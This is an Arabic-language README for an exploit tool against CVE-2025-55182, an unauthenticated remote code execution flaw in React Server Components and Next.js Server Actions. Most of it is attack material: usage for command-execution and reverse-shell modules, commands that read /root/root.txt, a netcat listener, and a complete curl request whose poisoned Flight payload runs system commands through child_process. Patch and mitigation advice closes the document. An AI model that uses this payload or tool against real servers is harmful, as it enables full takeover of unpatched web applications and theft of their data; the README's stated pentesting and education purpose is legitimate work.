
CVE-2025-55182 — RCE غير موثقة في مكونات خادم React (React2Shell). أداة استغلال بتصنيف CVSS 10.0 لاختبار الاختراق المصرح به.
ثغرة تنفيذ أوامر عن بُعد غير مصادق عليها في مكونات React Server Components عبر إلغاء تسلسل غير آمن لبروتوكول Flight. طلب HTTP واحد يكفي لتنفيذ تعليمات برمجية عشوائية على الخادم — لا حاجة لبيانات اعتماد أو وصول مسبق.
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · غير مصادق عليها · RCE قبل المصادقة · تم الكشف عنها في 3 ديسمبر 2025
يؤثر على React 19 (≤ 19.2.0) وأي تطبيق Next.js يستخدم Server Actions. التهيئات الافتراضية معرضة — لا حاجة لأكواد مخصصة على الجانب المستهدف.
الإصدارات المتأثرة
| الحزمة | المعرضة | المُعَالجة |
|---|---|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | جميع الإصدارات مع React 19 غير مصححة | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
مطلوب Python 3.8+. لا توجد تبعيات أخرى.
python exploit.py <module> -t <target> [options]
Modules:
check بصمة الهدف وتأكيد الثغرة
exec تنفيذ أمر نظام واحد وقراءة المخرجات
revshell إرسال شيل عكسي إلى المستمع الخاص بك
Options:
-t, --target URL URL الهدف
-c CMD الأمر المراد تشغيله (وحدة exec)
--lhost IP عنوان IP الخاص بك (يتم اكتشافه تلقائيًا من tun0 إذا لم يتم تعيينه)
--lport PORT منفذ الاستماع (الافتراضي: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (الافتراضي: bash)
--proxy URL التوجيه عبر بروكسي (مثال: http://127.0.0.1:8080)
--random-agent تدوير User-Agent في كل طلب
--timeout N مهلة الطلب (الافتراضي: 15)
سير العمل الموصى به — ابدأ دائمًا بـ check:
# 1. تأكيد أن الهدف معرض
python exploit.py check -t http://10.10.11.50
# 2. تشغيل أوامر للاستكشاف أو الحصول على الأعلام
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. الحصول على شيل عندما تحتاج إلى تفاعل
# (ابدأ المستمع أولاً: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
دعم البروكسي و User-Agent العشوائي يعمل مع أي وحدة:
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
مساعدة لكل وحدة: python exploit.py <module> --help
تتواصل React Server Components باستخدام تنسيق تدفق داخلي يسمى بروتوكول Flight. عندما يستدعي المتصفح Server Action، يرسل طلب POST من نوع multipart/form-data إلى جذر التطبيق مع رأس Next-Action. يمرر الخادم النص إلى حزمة react-server لإلغاء التسلسل قبل القيام بأي شيء آخر — بما في ذلك التحقق من معرّف الإجراء.
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← معرضة
│ │
│<── 307 + X-Action-Redirect ───────│ المخرجات هنا
داخل resolveModelToJSON()، يقوم مُلغِي التسلسل بفحص القطعة JSON الواردة. عندما يواجه كائنًا بخاصية then، يعامله كـ Promise وينتظره — سلوك مقصود لـ async Server Components. المشكلة: لا يتم إجراء أي تحقق لتأكيد أن الـ thenable جاء من مصدر موثوق.
يُدخل المهاجم قطعة مزيفة في نص multipart تحتوي على خاصية then تشير إلى require('child_process').execSync(...). ينتظرها React، فيتم تنفيذ أمر نظام التشغيل.
Next-Action: xفي الإنتاج، تُعرّف Server Actions بواسطة تجزئة SHA. يجب على الخادم التحقق من ذلك قبل المعالجة. لكن مفكك Flight يعمل قبل هذا الفحص — مما يعني أن أي طلب POST برأس Next-Action، حتى لو كان مزيفًا تمامًا مثل x، يؤدي إلى مسار إلغاء التسلسل المعرض. لا حاجة لمعرّف إجراء صالح.
يلتقط الكود المُدخل مخرجات الأمر ويرمي خطأ NEXT_REDIRECT مصنوعًا:
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
يلتقط Next.js هذا ويحوّله إلى 307 Temporary Redirect، مضمنًا digest في رأس الاستجابة X-Action-Redirect. تصل مخرجات الأمر مشفرة بعنوان URL:
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
المخرجات موجودة في رأس X-Action-Redirect، مشفرة بعنوان URL بعد /login?a=.
npm install react@latest react-dom@latest next@latest
الحد الأدنى الآمن: react-server ≥ 19.3.0 · next ≥ 15.3.6
إذا لم يكن التصحيح ممكنًا فورًا:
experimental: { serverActions: false } في next.config.jsNext-Action على مستوى البروكسي العكسيNEXT_REDIRECT أو __proto__لأغراض اختبار الاختراق المصرح به والتعليم فقط.